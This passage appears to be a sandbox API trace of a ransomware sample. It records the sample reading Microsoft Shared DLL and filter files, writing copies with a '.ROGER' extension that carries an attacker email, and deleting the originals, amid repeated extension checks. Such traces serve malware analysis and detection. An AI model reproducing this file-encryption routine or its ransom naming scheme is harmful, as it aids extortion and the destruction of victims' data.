lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.885] SetEndOfFile (hFile=0x358) returned 1 [0052.885] CloseHandle (hObject=0x358) returned 1 [0052.885] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.885] SetEndOfFile (hFile=0x3ac) returned 1 [0052.886] CloseHandle (hObject=0x3ac) returned 1 [0052.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.886] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0052.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.886] lstrlenW (lpString=".doc") returned 4 [0052.887] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString=".docx") returned 5 [0052.887] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0052.887] lstrlenW (lpString=".pdf") returned 4 [0052.887] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString=".xls") returned 4 [0052.887] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString=".xlsx") returned 5 [0052.887] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0052.887] lstrlenW (lpString=".ppt") returned 4 [0052.887] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.887] lstrlenW (lpString=".zip") returned 4 [0052.887] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString=".rar") returned 4 [0052.887] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString=".bz2") returned 4 [0052.887] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.887] lstrlenW (lpString=".7z") returned 3 [0052.887] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.887] lstrlenW (lpString=".dbf") returned 4 [0052.887] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.887] lstrlenW (lpString=".1cd") returned 4 [0052.887] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.887] lstrlenW (lpString=".jpg") returned 4 [0052.887] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.888] lstrlenW (lpString=".doc") returned 4 [0052.888] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.888] lstrlenW (lpString=".docx") returned 5 [0052.888] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0052.888] lstrlenW (lpString=".pdf") returned 4 [0052.888] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.888] lstrlenW (lpString=".xls") returned 4 [0052.888] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.888] lstrlenW (lpString=".xlsx") returned 5 [0052.888] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0052.888] lstrlenW (lpString=".ppt") returned 4 [0052.888] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.888] lstrlenW (lpString=".zip") returned 4 [0052.888] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.888] lstrlenW (lpString=".rar") returned 4 [0052.888] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.888] lstrlenW (lpString=".bz2") returned 4 [0052.888] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.888] lstrlenW (lpString=".7z") returned 3 [0052.888] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.888] lstrlenW (lpString=".dbf") returned 4 [0052.888] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.888] lstrlenW (lpString=".1cd") returned 4 [0052.889] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0052.889] lstrlenW (lpString=".jpg") returned 4 [0052.889] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.889] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0052.889] lstrlenW (lpString="odffilt.dll") returned 11 [0052.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0054.452] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=1312656) returned 1 [0054.452] CloseHandle (hObject=0x3f4) returned 1 [0054.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0054.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0054.452] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.453] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0054.453] GetLastError () returned 0x0 [0054.453] ReadFile (in: hFile=0x3f4, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.476] WriteFile (in: hFile=0x3f8, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.637] ReadFile (in: hFile=0x3f4, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0054.648] WriteFile (in: hFile=0x3f8, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0054.655] ReadFile (in: hFile=0x3f4, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.655] WriteFile (in: hFile=0x3f8, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.655] SetEndOfFile (hFile=0x3f8) returned 1 [0054.655] CloseHandle (hObject=0x3f8) returned 1 [0054.655] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.655] SetEndOfFile (hFile=0x3f4) returned 1 [0054.661] CloseHandle (hObject=0x3f4) returned 1 [0054.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.661] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0054.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.661] lstrlenW (lpString=".doc") returned 4 [0054.661] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.661] lstrlenW (lpString=".docx") returned 5 [0054.661] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0054.661] lstrlenW (lpString=".pdf") returned 4 [0054.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.661] lstrlenW (lpString=".xls") returned 4 [0054.661] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.661] lstrlenW (lpString=".xlsx") returned 5 [0054.661] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0054.661] lstrlenW (lpString=".ppt") returned 4 [0054.661] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.661] lstrlenW (lpString=".zip") returned 4 [0054.662] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString=".rar") returned 4 [0054.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString=".bz2") returned 4 [0054.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.662] lstrlenW (lpString=".7z") returned 3 [0054.662] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.662] lstrlenW (lpString=".dbf") returned 4 [0054.662] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.662] lstrlenW (lpString=".1cd") returned 4 [0054.662] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.662] lstrlenW (lpString=".jpg") returned 4 [0054.662] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.662] lstrlenW (lpString=".doc") returned 4 [0054.662] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString=".docx") returned 5 [0054.662] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0054.662] lstrlenW (lpString=".pdf") returned 4 [0054.662] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString=".xls") returned 4 [0054.662] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString=".xlsx") returned 5 [0054.662] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0054.662] lstrlenW (lpString=".ppt") returned 4 [0054.662] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.662] lstrlenW (lpString=".zip") returned 4 [0054.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.663] lstrlenW (lpString=".rar") returned 4 [0054.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.663] lstrlenW (lpString=".bz2") returned 4 [0054.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.663] lstrlenW (lpString=".7z") returned 3 [0054.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.663] lstrlenW (lpString=".dbf") returned 4 [0054.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.663] lstrlenW (lpString=".1cd") returned 4 [0054.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0054.663] lstrlenW (lpString=".jpg") returned 4 [0054.663] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.663] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0054.663] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0054.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0057.130] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=320384) returned 1 [0057.130] CloseHandle (hObject=0x410) returned 1 [0057.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0057.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0057.131] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.131] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.141] GetLastError () returned 0x0 [0057.141] ReadFile (in: hFile=0x410, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0057.150] WriteFile (in: hFile=0x3fc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0057.156] ReadFile (in: hFile=0x410, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.156] WriteFile (in: hFile=0x3fc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.157] SetEndOfFile (hFile=0x3fc) returned 1 [0057.157] CloseHandle (hObject=0x3fc) returned 1 [0057.157] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.157] SetEndOfFile (hFile=0x410) returned 1 [0057.160] CloseHandle (hObject=0x410) returned 1 [0057.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0057.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.160] lstrlenW (lpString=".doc") returned 4 [0057.160] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.160] lstrlenW (lpString=".docx") returned 5 [0057.160] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.160] lstrlenW (lpString=".pdf") returned 4 [0057.161] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.161] lstrlenW (lpString=".xls") returned 4 [0057.161] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.161] lstrlenW (lpString=".xlsx") returned 5 [0057.161] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.161] lstrlenW (lpString=".ppt") returned 4 [0057.161] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.161] lstrlenW (lpString=".zip") returned 4 [0057.161] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.161] lstrlenW (lpString=".rar") returned 4 [0057.161] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.161] lstrlenW (lpString=".bz2") returned 4 [0057.161] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.161] lstrlenW (lpString=".7z") returned 3 [0057.161] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.161] lstrlenW (lpString=".dbf") returned 4 [0057.161] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.161] lstrlenW (lpString=".1cd") returned 4 [0057.161] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.161] lstrlenW (lpString=".jpg") returned 4 [0057.161] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.161] lstrlenW (lpString=".doc") returned 4 [0057.161] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.161] lstrlenW (lpString=".docx") returned 5 [0057.161] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.162] lstrlenW (lpString=".pdf") returned 4 [0057.162] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.162] lstrlenW (lpString=".xls") returned 4 [0057.162] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.162] lstrlenW (lpString=".xlsx") returned 5 [0057.162] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.162] lstrlenW (lpString=".ppt") returned 4 [0057.162] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.162] lstrlenW (lpString=".zip") returned 4 [0057.162] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.162] lstrlenW (lpString=".rar") returned 4 [0057.162] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.162] lstrlenW (lpString=".bz2") returned 4 [0057.162] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.162] lstrlenW (lpString=".7z") returned 3 [0057.162] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.162] lstrlenW (lpString=".dbf") returned 4 [0057.162] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.162] lstrlenW (lpString=".1cd") returned 4 [0057.162] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0057.162] lstrlenW (lpString=".jpg") returned 4 [0057.162] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.163] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0057.163] lstrlenW (lpString="hxds.dll") returned 8 [0057.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.958] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=1257984) returned 1 [0057.958] CloseHandle (hObject=0x358) returned 1 [0057.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0057.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0057.959] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.959] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0057.959] GetLastError () returned 0x0 [0057.959] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0057.982] WriteFile (in: hFile=0x3d4, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.001] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x33210, lpOverlapped=0x0) returned 1 [0058.111] WriteFile (in: hFile=0x3d4, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x33220, lpOverlapped=0x0) returned 1 [0058.118] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.118] WriteFile (in: hFile=0x3d4, lpBuffer=0x4850020*, 